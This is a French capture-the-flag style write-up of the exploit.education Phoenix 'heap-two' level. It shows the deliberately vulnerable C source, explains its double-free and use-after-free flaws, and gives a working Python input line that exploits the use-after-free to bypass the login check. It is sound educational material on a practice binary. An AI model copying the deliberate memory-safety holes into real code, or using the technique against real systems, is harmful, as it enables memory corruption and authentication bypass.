kiddie
.:: @OREL ::.

Phoenix - Heap overflow - Heap 2
[ 29/08/2019 ]
Copie originale : [https]://exploit.education/phoenix/heap-two/ --- [0 - Énoncé [1 - Description du programme [1.1 - Code Source [1.2 - Identification de la vulnérabilité [2 - Méthodologie pour l'exploitation [3 - Exploitation de la vulnérabilité [4 - Conclusion ---
[0 - Énoncé
This level explores why you should always explictly initialize your allocated memory, and what can occur when pointer values go stale.
[1 - Description du programme
[1.1 - Code Source
/* * phoenix/heap-two, by https://exploit.education * * This level examines what can happen when heap pointers are stale. This level * is completed when you see the "you have logged in already!" message. * * My dog would, without fail, always chase people on a bike. As soon as he saw * someone, he would immediately take off. I spoke to the vet to see if they * could be of any help, but they weren't. I spoke to several different dog * behaviouralists to see if they have any ideas on how to stop getting him * chasing people on a bike. The dog behaviouralists were unable to help. I * searched high and low to work out ways to find a way to stop him from * chasing people on a bike, to no avail. Eventually, I had no choice but to * take the bike away from him. */ #include <err.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define BANNER \ "Welcome to " LEVELNAME ", brought to you by https://exploit.education" struct auth { char name[32]; int auth; }; struct auth *auth; char *service; int main(int argc, char **argv) { char line[128]; printf("%s\n", BANNER); while (1) { printf("[ auth = %p, service = %p ]\n", auth, service); if (fgets(line, sizeof(line), stdin) == NULL) break; if (strncmp(line, "auth ", 5) == 0) { auth = malloc(sizeof(struct auth)); memset(auth, 0, sizeof(struct auth)); if (strlen(line + 5) < 31) { strcpy(auth->name, line + 5); } } if (strncmp(line, "reset", 5) == 0) { free(auth); } if (strncmp(line, "service", 6) == 0) { service = strdup(line + 7); } if (strncmp(line, "login", 5) == 0) { if (auth && auth->auth) { printf("you have logged in already!\n"); } else { printf("please enter your password\n"); } } } }
Le programme débute par la déclaration du type auth, une structure de données composées de deux éléments, name, un tableau de 32 char et auth un integer. Ensuite, deux variables globales sont déclarées, auth de type struct auth * et service de type char *. Puis, vient le corps du main composé d'une boucle infinie qui effectue le cycle suivant : 1- afficher les valeurs de auth et service 2- récupérer l'entrée utilisateur dans un tableau de 128 char noté line 2.1 - si l'entrée débutait par le mot clé "auth" : 2.1.1 - alloue l'espace mémoire dans la heap pour auth 2.1.2 - copie le reste de l'entrée dans auth->name 2.2 - si l'entrée débutait par le mot clé "reset" : 2.2.1 - libère l'espace alloué à auth avec free 2.3 - si l'entrée débutait par le mot clé "service" : 2.3.1 - copie le reste de l'entrée dans service via strdup 2.4 - si l'entrée débutait par le mot clé "login" : 2.4.1 - si auth et auth->name non nul afficher "you have logged in already!\n" 2.4.2 - sinon afficher "please enter your password\n"
[1.2 - identification de la vulnérabilité
Ce programme comporte deux vulnérabilités, la première se situe dans le bloc "reset" où l'on libère la variable auth avec un appel à free. Aucune vérification n'est faite concernant l'état de auth avant son passage à free, on donc peut appeler plusieurs fois free sur cette même variable et provoquer des comportements indéfinis comme l'indique le manuel :
MALLOC(3) Linux Programmer's Manual NAME malloc, free, calloc, realloc - allocate and free dynamic memory SYNOPSIS #include <stdlib.h> void free(void *ptr); The free() function frees the memory space pointed to by ptr, which must have been returned by a previous call to malloc(), calloc(), or realloc(). Otherwise, or if free(ptr) has already been called before, undefined behav‐ ior occurs. If ptr is NULL, no operation is performed.
Cette vulnérabilité est communément appelée "Double free". La seconde vulnérabilité se situe dans l'utilisation de la variable auth, notamment avec le 4ème strncmp. Au lancement du programme, aucune variable n'est initialisée, lors de l'exécution de la ligne if (auth && auth->auth) les valeurs testées sont inconnues, il en est de même lorsque l'on a libéré auth via free et qu'on lance la procédure de login. L'utilisation d'une variable d'on l'espace mémoire alloué à été libéré peut mener à une corruption complète du programme. On nomme cette vulnérabilité "Use-After-Free / UAF".
[2 - Méthodologie d'exploitation
L'objectif de cet exercice est de valider la condition if (auth && auth->auth). Pour cela, on dispose des deux vulnérabilités citées ci-dessus. Avant de déter- miner laquelle nous sera utile pour valider l'épreuve, on va d'abord s'intéres- ser au fonctionnement de la heap et plus particulièrement à la réutilisation des blocs mémoires libérés, Pour ce faire, on va utiliser le code source suivant et observer les valeurs retournées par le programme une fois compilé :
root@phoenix-amd64:~# cat foo.c #include <stdlib.h> #include <stdio.h> int main(int argc, char *argv[]) { int *a = malloc(16); printf("a = malloc(16)\n\ \ra = %p\n", a); free(a); a = malloc(16); printf("free(a)\n\ \ra = malloc(16)\n\ \ra = %p\n", a); free(a); a = malloc(32); printf("free(a)\n\ \ra = malloc(32)\n\ \ra = %p\n", a); return 0; } root@phoenix-amd64:~# gcc foo.c root@phoenix-amd64:~# ./a.out a = malloc(16) a = 0x555555559260 free(a) a = malloc(16) a = 0x555555559260 free(a) a = malloc(32) a = 0x555555559690
On remarque qu'un espace de taille X préalablement libéré sera réalloué au prochain malloc si la taille du bloc demandé ne dépasse pas X. Dans heap 2, on a relevé deux lignes qui font des allocations sur la heap, auth = malloc(sizeof(struc auth)); et service = strdup(line + 7);. On ne peut libérer l'espace alloué à service, ce n'est pas le cas pour auth qu'on peut free avec la procédure reset. Ça tombe bien puisque c'est l'élément auth de cette structure qui nous intéresse. Le if (strlen(line + 5) < 31) nous empêche d'atteindre cet élément, cependant, on peut outrepasser cette limite en libérant auth avec reset, l'adresse de auth sera alors proposée pour la prochaine allocation dynamique. On pourra alors récupérer cette adresse dans service qui n'a aucune contrainte de taille et écraser l'élément auth->auth. Le programme n'aura alors pas connaissance de l'invalidité de auth et validera la condition if (auth && auth->auth) dans login, c'est le Use-After-Free.
[3 - Exploitation de la vulnérabilité
user@phoenix-amd64:/opt/phoenix/i486$ python -c 'print "auth bobby\n" + "reset\n"\ > + "service " + "A"*31 + "\n" + "login\n"' | ./heap-two Welcome to phoenix/heap-two, brought to you by https://exploit.education [ auth = 0, service = 0 ] [ auth = 0x8049af0, service = 0 ] [ auth = 0x8049af0, service = 0 ] [ auth = 0x8049af0, service = 0x8049af0 ] you have logged in already!
[4 - Conclusion
Dans cet exercice, on a abordé de manière très grossière et assez minimaliste la manière dont malloc réutilise l'espace mémoire libéré. On a introduit deux nouvelles vulnérabilités et utilisée l'une d'entre elles, le User-After-Free pour tromper le programme et outrepasser la limite de taille imposée par auth->name.

Tout est faux tout est conforme.